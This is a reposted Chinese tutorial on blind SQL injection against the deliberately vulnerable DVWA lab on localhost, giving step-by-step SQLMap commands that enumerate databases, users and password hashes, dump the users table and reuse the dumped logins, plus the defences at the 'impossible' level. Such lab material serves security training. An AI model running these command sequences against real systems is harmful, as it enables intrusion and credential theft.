(十二)DVWA全等級SQL Injection(Blind)盲注--SQLMap測試過程解析


一、測試前分析

前文<DVWA全等級SQL Injection(Blind)盲注-手工測試過程解析>
通過手工測試的方式詳細分析了SQL Injection(Blind)盲注漏洞的利用過程,本文則利用自動化的工具SQLMap對SQL Injection(Blind)進行漏洞檢測和數據獲取。

手工 VS 自動化
①手工測試有助於理解整個注入漏洞的利用過程,可以加深技能印象
②自動化工具所檢測的效率相對較高,而且覆蓋的全面性更高,數據獲取的廣度和深度也可以得到更好的發揮

利用SQLMap自動化工具的檢測流程大致如下:
1.判斷是否存在注入點、注入類型
2.獲取DBMS中所有的數據庫名稱
3.獲取Web應用當前連接的數據庫
4.列出數據庫中的所有用戶
5.獲取Web應用當前所操作的用戶
6.列出可連接數據庫的所有賬戶-對應的密碼哈希
7.列出指定數據庫中的所有數據表
8.列出指定數據表中的所有字段(列)
9.導出指定數據表中的列字段進行保存
10.根據導出的數據,驗證數據有效性

 

二、全等級SQL Injection(Blind)-漏洞利用解析

利用SQLMap工具操作,本文暫不作太過詳細的去拆分細節點,各個等級的服務端代碼在此也不作重復展示。
以下構造SQLMap所需的測試命令時,所需用到的工具還有:瀏覽器自帶的F12查看Request/Response/cookie、Fiddler抓取url/cookie等、Burp攔截url/cookie等數據...
因注入測試是在保持瀏覽器賬戶登錄狀態的前提下進行的,過程中需要保持登錄不退出賬戶,操作命令中需要帶上登錄賬戶的cookie信息--cookie="xxx";若過程中有退出了賬戶,則需要重新登錄賬戶,並重新獲取cookie信息,以在SQLMap操作命令中及時更新cookie內容。

【A】Level:Low

1.判斷是否存在注入點、注入的類型

構造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

執行結果:

 
 
2.獲取DBMS中所有的數據庫名稱

構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --dbs

執行結果:

 
 
3.獲取Web應用當前連接的數據庫

構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-db

執行結果:

 
 
4.列出數據庫中的所有用戶

構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --users

執行結果:

 
 
5.獲取Web應用當前所操作的用戶

構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-user

執行結果:

 
 
6.列出可連接數據庫的所有賬戶-對應的密碼哈希

構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --passwords

執行結果:

 
 
7.列出指定數據庫中的所有數據表

構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa --tables

執行結果:

 
 
8.列出指定數據表中的所有字段(列)

構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users --columns

執行結果:

 
 
9.導出指定數據表中的列字段進行保存

構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users -C "user,password" --dump

執行結果:

 
 
10.根據導出的數據,驗證數據有效性
user password
1337 charley
admin password
gordonb abc123
pablo letmein
smithy password

從以上導出的user---password組合中任取一組,回到前端登錄界面進行驗證

登錄界面:http://localhost:8001/dvwa/login.php
用戶密碼:pablo---letmein

 
登錄成功

 

【B】Level:Medium

Low等級提交的數據是通過GET請求方式,直接在瀏覽器url中傳遞參數;而Medium等級,所提交的User ID數據是通過POST請求方式,參數是在POST請求體中傳遞。
此時,構造SQLMap操作命令,則需要將url和data分成兩部分分別填寫,同時需要更新cookie信息的取值,如下:

構造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

執行結果:

 
 

構造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -dbs

執行結果:

 
 
 
基於時間的盲注,整個猜解過程中要花費稍微多一些時間

......
獲取數據庫其他數據的過程,暫且不繼續往下展示,和Low級別相似。確保SQLMap操作命令中的url、data分離,cookie信息更新為對應等級的cookie值,以及保持賬戶登錄狀態時進行操作即可。

 

【C】Level:High

  1. High級別的查詢數據提交的頁面、查詢結果顯示的頁面是分離成了2個不同的窗口分別控制的。即在查詢提交窗口提交數據(POST請求)之后,需要到另外一個窗口進行查看結果(GET請求)。若需獲取請求體中的Form Data數據,則需要在提交數據的窗口中查看網絡請求數據or通過攔截工具獲取
  2. High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止常規的SQLMap掃描注入測試,因為SQLMap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入;但是並不代表High級別不能用SQLMap進行注入測試,此時需要利用其非常規的命令聯合操作,如:--second-order="xxxurl"(設置二階響應的結果顯示頁面的url),具體的操作命令可參看==>SQLMap工具使用選項的操作命令&功能

構造命令:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=kpmkm3kphj5cccf7ub43c8e7l4" --batch

執行結果:

 
 

 

【D】Level:Impossible

可以嘗試構造SQLMap命令進行檢測:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit&user_token=b95d5f0bb28c4ecd6418c6deed57b4bf#" --cookie="security=impossible; security=impossible; PHPSESSID=p78fd4dlnor8qsrjck9ivg3hj0" --batch

暫未發現注入漏洞

 
 

Impossible級別的SQL Injection(Blind)

  1. impossible.php代碼采用了PDO技術,划清了代碼與數據的界限,有效防御SQL注入
  2. 只有當返回的查詢結果數量為一個記錄時,才會成功輸出,這樣就有效預防了暴庫
  3. 利用is_numeric($id)函數來判斷輸入的id是否是數字or數字字符串,滿足條件才知曉query查詢語句
  4. Anti-CSRF token機制的加入了進一步提高了安全性,session_token是隨機生成的動態值,每次向服務器請求,客戶端都會攜帶最新從服務端已下發的session_token值向服務器請求作匹配驗證,相互匹配才會驗證通過
 

作者:Fighting_001
鏈接:https://www.jianshu.com/p/ec2ca79e74b2
來源:簡書
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM